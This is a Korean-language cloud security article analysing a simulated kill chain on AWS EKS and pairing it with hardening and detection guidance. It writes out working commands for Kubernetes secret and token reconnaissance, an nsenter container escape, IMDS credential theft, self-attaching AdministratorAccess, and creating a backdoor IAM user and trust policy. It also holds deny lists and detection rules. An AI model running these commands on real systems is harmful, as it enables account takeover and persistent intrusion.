웹앱의 역직렬화 취약점 → 웹셸 업로드 → 클러스터 정찰 → chroot 컨테이너 탈출 → IMDS 크리덴셜 탈취 →
iam:AttachRolePolicy로 AdministratorAccess 자기 부여. 5개의 보안 도메인을 관통하는 풀 킬체인이다. 2025년 5월 Palo Alto Networks가 시뮬레이션한 이 시나리오는, 개별 보안 도구로는 절대 전체 그림을 볼 수 없다는 것을 이 글은 실제 공격자가 여러 벡터를 어떻게 체이닝하여 완전한 장악에 도달하는지를 보여준다. 개별 취약점보다 체인의 연결 지점을 이해하는 것이 방어자에게 더 중요하기 때문이다.
Palo Alto Networks가 2025년 5월 공개한 시뮬레이션을 기반으로, 실제 EKS 환경에서 재현 가능한 풀 킬체인을 분석한다.
대상 환경: 금융 기관의 코어 뱅킹 플랫폼. Kubernetes 기반 마이크로서비스 아키텍처, AWS EKS에 배포.
공격이 관통하는 5개 보안 도메인:
┌─────────────────────────────────────────────────┐
│ ① Application Layer — 역직렬화 취약점, 웹셸 │
├─────────────────────────────────────────────────┤
│ ② Container Layer — 클러스터 정찰, 컨테이너 탈출 │
├─────────────────────────────────────────────────┤
│ ③ Host Layer — EC2 노드 접근 │
├─────────────────────────────────────────────────┤
│ ④ Cloud Control Plane — IMDS 크리덴셜 탈취 │
├─────────────────────────────────────────────────┤
│ ⑤ Identity Layer — IAM 권한 상승, 영구 접근 │
└─────────────────────────────────────────────────┘
컨테이너화된 웹 애플리케이션에 입력 역직렬화(Deserialization) 취약점이 존재한다. Java의 ObjectInputStream, Python의 pickle, PHP의 unserialize 등 언어별로 패턴은 다르지만, 본질은 같다. 신뢰할 수 없는 데이터를 객체로 변환하는 과정에서 임의 코드 실행이 가능해진다.
[공격자]
│
│ 조작된 HTTP 요청 (악성 직렬화 페이로드)
▼
[EKS Pod - 웹앱]
│
│ 역직렬화 → 임의 코드 실행
│ → 웹셸 업로드
▼
[웹셸 활성화] — 공격자가 Pod 내부에서 명령 실행 가능
WAF가 직렬화 페이로드를 탐지할 수 있지만, 인코딩/난독화를 거치면 우회가 가능하다. 더 근본적으로, WAF는 요청 단위로 판단하므로 웹셸이 업로드된 이후의 행위는 감시 범위 밖이다.
웹셸을 통해 Pod 내부에서 명령을 실행할 수 있게 된 공격자는, 클러스터 구조를 파악하기 시작한다.
# 1. Kubernetes API 서버 접근 확인
# Pod 내부에는 기본적으로 SA 토큰이 마운트됨
ls /var/run/secrets/kubernetes.io/serviceaccount/
# ca.crt namespace token
# 2. 현재 SA의 권한 확인
KUBE_TOKEN=$(cat /var/run/secrets/kubernetes.io/serviceaccount/token)
curl -ks https://kubernetes.default.svc/api/v1/namespaces \
-H "Authorization: Bearer $KUBE_TOKEN"
# 3. 같은 네임스페이스의 Pod 목록
curl -ks https://kubernetes.default.svc/api/v1/namespaces/$(cat /var/run/secrets/kubernetes.io/serviceaccount/namespace)/pods \
-H "Authorization: Bearer $KUBE_TOKEN"
# 4. Secrets 접근 시도
curl -ks https://kubernetes.default.svc/api/v1/namespaces/default/secrets \
-H "Authorization: Bearer $KUBE_TOKEN"
# 5. 환경변수에서 민감 정보 수집
env | grep -iE "(key|secret|password|token|database|api)"
많은 EKS 클러스터에서 다음과 같은 기본 설정이 유지되고 있다.
ServiceAccount 토큰 자동 마운트: Kubernetes 1.24부터 자동 생성되는 장기 토큰은 제거되었지만, Projected Volume 기반의 단기 토큰은 여전히 기본 마운트된다. automountServiceAccountToken: false를 명시하지 않으면 Pod에 항상 API 접근 토큰이 존재한다.
RBAC 과다 권한: 개발 편의를 위해 default ServiceAccount에 과도한 ClusterRole이 바인딩된 경우가 흔하다. list secrets나 get pods 권한만으로도 공격자에게 귀중한 인텔리전스가 된다.
Pod 내부에서 호스트 레벨 접근이 가능한 설정(privileged, hostPID, hostPath 등)이 있으면, 컨테이너 격리를 깨고 EC2 노드로 탈출할 수 있다.
가장 클래식한 방법은 chroot escape다.
# 전제: Pod가 privileged 또는 hostPID: true로 설정됨
# chroot 탈출 — 호스트 파일시스템 접근
# nsenter를 통해 PID 1(호스트의 init 프로세스)의 네임스페이스로 진입
nsenter --target 1 --mount --uts --ipc --net --pid -- bash
# 이제 호스트(EC2 인스턴스)의 쉘에 있음
whoami
# root
hostname
# ip-192-168-69-116.REGION.compute.internal
# 호스트의 파일시스템, 네트워크, 프로세스에 완전한 접근
ls /var/lib/kubelet/pods/ # 모든 Pod의 볼륨
cat /etc/kubernetes/kubelet-config.json
hostPath 마운트 악용: Pod 스펙에 hostPath: /가 마운트되어 있으면 호스트 파일시스템 전체에 접근 가능.
# 위험한 Pod 설정 예시
spec:
volumes:
- name: host-root
hostPath:
path: / # 💀 호스트 루트 전체 마운트
containers:
- name: app
volumeMounts:
- name: host-root
mountPath: /host
CAP_SYS_ADMIN 악용: 이 capability가 있으면 cgroup release_agent를 통한 탈출이 가능.
CVE 기반 탈출: 컨테이너 런타임(runc, containerd)의 취약점을 이용한 탈출. runc의 CVE-2024-21626 같은 사례.
컨테이너 보안 도구는 Pod 내부의 비정상 행위를 탐지할 수 있지만, 컨테이너 탈출 이후의 호스트 활동은 감시 범위가 달라진다. 컨테이너 보안과 호스트 보안이 별개의 도구로 운영되면, 이 전환 지점에서 가시성이 끊긴다.
호스트에 접근한 공격자는 IMDS를 통해 EC2 노드의 IAM Role 크리덴셜을 탈취한다. 이 단계는 3편에서 상세히 다뤘으므로 핵심만 정리한다.
# 호스트 쉘에서 실행 (Stage 3에서 탈출 완료)
# IMDSv2 토큰 획득 — 호스트에서는 hop limit 무관
TOKEN=$(curl -s -X PUT "http://169.254.169.254/latest/api/token" \
-H "X-aws-ec2-metadata-token-ttl-seconds: 21600")
# IAM Role 이름 확인
ROLE=$(curl -s -H "X-aws-ec2-metadata-token: $TOKEN" \
http://169.254.169.254/latest/meta-data/iam/security-credentials/)
# 임시 크리덴셜 획득
CREDS=$(curl -s -H "X-aws-ec2-metadata-token: $TOKEN" \
http://169.254.169.254/latest/meta-data/iam/security-credentials/$ROLE)
# 크리덴셜 설정
export AWS_ACCESS_KEY_ID=$(echo $CREDS | jq -r '.AccessKeyId')
export AWS_SECRET_ACCESS_KEY=$(echo $CREDS | jq -r '.SecretAccessKey')
export AWS_SESSION_TOKEN=$(echo $CREDS | jq -r '.Token')
# 확인
aws sts get-caller-identity
# → arn:aws:sts::ACCOUNT:assumed-role/eks-nodegroup-NodeInstanceRole/...
Pod에서 IMDS에 접근할 때는 hop limit 설정에 의해 차단될 수 있다. 하지만 컨테이너 탈출 이후 호스트에서의 접근은 hop limit과 무관하다. 호스트 자체에서 직접 IMDS를 호출하므로 네트워크 홉이 없다. 이것이 컨테이너 탈출이 킬체인에서 갖는 의미다.
이것이 킬체인의 최종 단계이자, 가장 파괴적인 부분이다. 노드의 IAM Role에 iam:AttachRolePolicy 권한이 존재하면, 공격자는 자기 자신에게 AdministratorAccess를 부여할 수 있다.
# 1. 현재 Role의 권한 열거
aws iam list-attached-role-policies --role-name $ROLE
# 2. 인라인 정책 확인
aws iam list-role-policies --role-name $ROLE
# 3. 💀 Role Self-Attachment — AdministratorAccess 자기 부여
aws iam attach-role-policy \
--role-name $ROLE \
--policy-arn arn:aws:iam::aws:policy/AdministratorAccess
# 4. 크리덴셜 갱신 (새 정책 적용을 위해)
# IMDS에서 다시 크리덴셜 획득하면 AdministratorAccess 반영
# 5. 이제 AWS 계정 전체에 대한 관리자 접근
aws iam list-users
aws s3 ls
aws rds describe-db-instances
aws ec2 describe-instances
aws lambda list-functions
이 공격이 성립하려면 노드 IAM Role에 다음 중 하나의 권한이 있어야 한다.
iam:AttachRolePolicy — Managed Policy를 Role에 연결. Resource가 *이면 자기 자신에게도 적용 가능.
iam:PutRolePolicy — Inline Policy를 생성/수정. 임의의 JSON 정책을 작성할 수 있으므로 더 위험.
iam:AttachUserPolicy — User에 Policy 연결. IAM User가 존재하면 해당 User의 권한 상승에 사용.
iam:CreatePolicyVersion — 기존 Policy의 새 버전을 생성하여 권한을 확장.
"이런 권한이 노드 Role에 왜 있나?" 라고 생각할 수 있다.
현실에서는 이런 일이 흔하다:
· Terraform/CloudFormation이 노드에서 실행되는 자동화에 IAM 권한을 부여
· CI/CD 파이프라인이 노드에서 실행되며 인프라 프로비저닝 수행
· 개발 편의를 위해 광범위한 IAM 권한이 노드에 직접 연결
· iam:* 와일드카드 사용 — 가장 흔하고 가장 위험한 패턴
관리자 권한을 획득한 공격자는 영구 접근(Persistence)을 확보한다.
# 백도어 IAM User 생성
aws iam create-user --user-name svc-backup-monitor
aws iam attach-user-policy --user-name svc-backup-monitor \
--policy-arn arn:aws:iam::aws:policy/AdministratorAccess
aws iam create-access-key --user-name svc-backup-monitor
# → 영구 AccessKey/SecretKey 획득
# 백도어 Role Trust Policy 수정
# 외부 계정에서 AssumeRole 가능하도록
aws iam update-assume-role-policy --role-name $ROLE \
--policy-document '{
"Version": "2012-10-17",
"Statement": [{
"Effect": "Allow",
"Principal": {"AWS": "arn:aws:iam::ATTACKER_ACCOUNT:root"},
"Action": "sts:AssumeRole"
}]
}'
이 킬체인을 기존 보안 스택으로 모니터링한다고 가정해보자.
[Stage 1: SSRF/역직렬화]
│
│ WAF: "의심스러운 요청 탐지" → Alert #1
│ 하지만 웹셸 업로드 이후는 감시 불가
│
[Stage 2: 클러스터 정찰]
│
│ Container Security: "비정상 API 호출" → Alert #2
│ 하지만 컨테이너 탈출 이후는 감시 불가
│
[Stage 3: 컨테이너 탈출]
│
│ HIDS: "chroot escape 탐지" → Alert #3
│ 하지만 초기 침투와의 연결 고리 없음
│
[Stage 4: IMDS 크리덴셜 탈취]
│
│ CloudTrail: "비정상 API 호출" → Alert #4
│ 하지만 어떤 Pod에서 시작됐는지 연결 불가
│
[Stage 5: Role Self-Attachment]
│
│ Identity Security: "권한 상승 탐지" → Alert #5
│ 하지만 컨테이너에서 시작된 공격인지 모름
│
▼
[결과: 5개의 분리된 Alert, 하나의 연결된 스토리를 볼 수 없음]
각 도구가 자기 도메인의 조각은 보지만, 전체 체인을 하나의 인시던트로 연결하지 못한다. SOC 분석가는 5개의 개별 Alert를 받고, 이것들이 같은 공격의 일부인지 판단하기 위해 수동으로 타임라인을 맞추고, IP를 교차 확인하고, 로그를 뒤져야 한다.
이것이 CNAPP(Cloud-Native Application Protection Platform)이 등장한 이유이며, Palo Alto Networks가 이 시뮬레이션을 통해 전달하고자 한 메시지다.
전체 킬체인을 한꺼번에 방어하기보다, Stage 간 연결 지점을 끊는 것이 효과적이다. 어느 한 곳에서만 체인이 끊어져도 최종 목표(Role Self-Attachment)에 도달하지 못한다.
# ServiceAccount 토큰 자동 마운트 비활성화
apiVersion: v1
kind: ServiceAccount
metadata:
name: web-app-sa
automountServiceAccountToken: false # K8s API 접근 차단
# NetworkPolicy: API 서버 접근 제한
apiVersion: networking.k8s.io/v1
kind: NetworkPolicy
metadata:
name: deny-apiserver
spec:
podSelector:
matchLabels:
app: web-frontend
egress:
- to:
- ipBlock:
cidr: 0.0.0.0/0
except:
- 172.20.0.1/32 # API 서버 ClusterIP 차단
# Pod Security Standards — restricted 프로파일
apiVersion: v1
kind: Namespace
metadata:
name: production
labels:
pod-security.kubernetes.io/enforce: restricted
# 개별 Pod의 SecurityContext
spec:
containers:
- name: app
securityContext:
privileged: false # 특권 컨테이너 차단
allowPrivilegeEscalation: false # 권한 상승 차단
readOnlyRootFilesystem: true # 웹셸 업로드 어려움
runAsNonRoot: true
runAsUser: 1000
capabilities:
drop: ["ALL"]
# hostPID, hostNetwork, hostIPC 모두 false (기본값)
hostPID: false
hostNetwork: false
# OPA/Gatekeeper: hostPath 마운트 차단
apiVersion: constraints.gatekeeper.sh/v1beta1
kind: K8sPSPHostFilesystem
metadata:
name: block-host-path
spec:
match:
kinds:
- apiGroups: [""]
kinds: ["Pod"]
parameters:
allowedHostPaths: [] # 어떤 hostPath도 허용하지 않음
컨테이너 탈출이 발생하더라도 IMDS에서 유용한 크리덴셜을 얻지 못하면 체인이 끊긴다.
# Launch Template: IMDSv2 강제 + hop limit 1
resource "aws_launch_template" "eks" {
metadata_options {
http_tokens = "required"
http_put_response_hop_limit = 1
http_endpoint = "enabled"
}
}
하지만 주의: 컨테이너 탈출 후 호스트에서 직접 IMDS를 호출하면 hop limit은 무의미하다. 따라서 Stage 2→3 차단(탈출 자체를 방지)이 이 체인에서 가장 중요한 방어 지점이다.
노드 IAM Role에서 위험한 IAM 권한을 제거한다.
{
"Version": "2012-10-17",
"Statement": [
{
"Sid": "DenyIAMEscalation",
"Effect": "Deny",
"Action": [
"iam:AttachRolePolicy",
"iam:PutRolePolicy",
"iam:AttachUserPolicy",
"iam:PutUserPolicy",
"iam:CreatePolicyVersion",
"iam:SetDefaultPolicyVersion",
"iam:AttachGroupPolicy",
"iam:PutGroupPolicy",
"iam:CreateUser",
"iam:CreateAccessKey",
"iam:UpdateAssumeRolePolicy",
"iam:AddUserToGroup",
"iam:CreateLoginProfile"
],
"Resource": "*"
}
]
}
이것을 SCP(Service Control Policy) 또는 Permissions Boundary로 적용하면, 노드 Role에 실수로 IAM 권한이 추가되더라도 실행이 차단된다.
{
"Version": "2012-10-17",
"Statement": [
{
"Sid": "DenyEscalationActions",
"Effect": "Deny",
"Action": [
"iam:Attach*",
"iam:Put*Policy",
"iam:Create*",
"iam:Update*"
],
"Resource": "*",
"Condition": {
"StringLike": {
"aws:PrincipalArn": "arn:aws:iam::*:role/eks-*-NodeInstanceRole-*"
}
}
}
]
}
[Stage 1→2] SA 토큰 자동마운트 비활성화 + API 서버 NetworkPolicy
│
│ 체인 끊김 → 클러스터 정찰 불가
│
[Stage 2→3] PSS restricted + 특권 컨테이너 차단 ← 🔑 가장 중요
│
│ 체인 끊김 → 컨테이너 탈출 불가
│
[Stage 3→4] IMDSv2 enforce + hop limit 1 + NetworkPolicy
│
│ 체인 끊김 → IMDS 크리덴셜 획득 불가 (Pod 레벨)
│ ⚠️ 호스트 탈출 후에는 무력화
│
[Stage 4→5] SCP/Permissions Boundary로 IAM 에스컬레이션 차단
│
│ 체인 끊김 → 크리덴셜 있어도 권한 상승 불가
│
[최종 목표: Role Self-Attachment] ← 도달 불가
방어가 완벽할 수 없으므로, 공격 진행 중 탐지도 중요하다. 핵심은 개별 Alert가 아니라 체인으로 묶는 것이다.
-- Role Self-Attachment 시도 탐지
-- 자기 자신의 Role에 Policy를 붙이는 행위
fields @timestamp, sourceIPAddress, eventName,
requestParameters.roleName, requestParameters.policyArn,
userIdentity.arn
| filter eventName in ["AttachRolePolicy", "PutRolePolicy",
"AttachUserPolicy", "CreatePolicyVersion"]
| filter userIdentity.arn like /NodeInstanceRole/
| sort @timestamp desc
- rule: Container Escape via chroot
desc: Detect potential container escape using nsenter or chroot
condition: >
spawned_process and container and
(proc.name in (nsenter, chroot) or
proc.cmdline contains "nsenter --target 1")
output: >
Container escape attempt detected
(command=%proc.cmdline pod=%k8s.pod.name user=%user.name)
priority: CRITICAL
tags: [container, escape, privilege_escalation]
2025년부터 GuardDuty는 EKS audit 로그와 런타임 행위, CloudTrail을 교차 분석하여 다단계 공격을 자동 상관 분석한다. 아래 Finding Type들이 이 킬체인의 각 단계를 커버한다.
Stage 3: Execution:Runtime/ReverseShell
PrivilegeEscalation:Runtime/ContainerMountHostDirectory
Stage 4: UnauthorizedAccess:IAMUser/InstanceCredentialExfiltration.OutsideAWS
Stage 5: PrivilegeEscalation:IAMUser/AdministrativePermissions
이 킬체인이 보여주는 핵심 교훈은 세 가지다.
첫째, 단일 취약점이 아니라 연결이 위험하다. 역직렬화 취약점 하나, IMDS 접근 하나, 과도한 IAM 권한 하나 — 각각은 “알려진 이슈”이지만, 체이닝되면 AWS 계정 전체가 장악된다.
둘째, 보안 도구의 단절이 공격자의 기회다. WAF, 컨테이너 보안, HIDS, CloudTrail, Identity Security가 각각의 도메인에서 Alert를 올려도, 이것을 하나의 인시던트로 연결하지 못하면 방어자는 항상 한 발 늦는다.
셋째, 체인의 가장 약한 연결 고리를 끊어라. 이 킬체인에서 가장 효과적인 방어 지점은 Stage 2→3(컨테이너 탈출 차단)이다. PSS restricted 적용, 특권 컨테이너 차단, hostPath 차단만으로 IMDS와 Role Self-Attachment까지의 전체 후속 체인이 원천 차단된다.
보안은 벽을 높이 쌓는 것이 아니라,
공격자의 체인에서 가장 비용 효율적인 연결 고리를 찾아 끊는 것이다.
참고 자료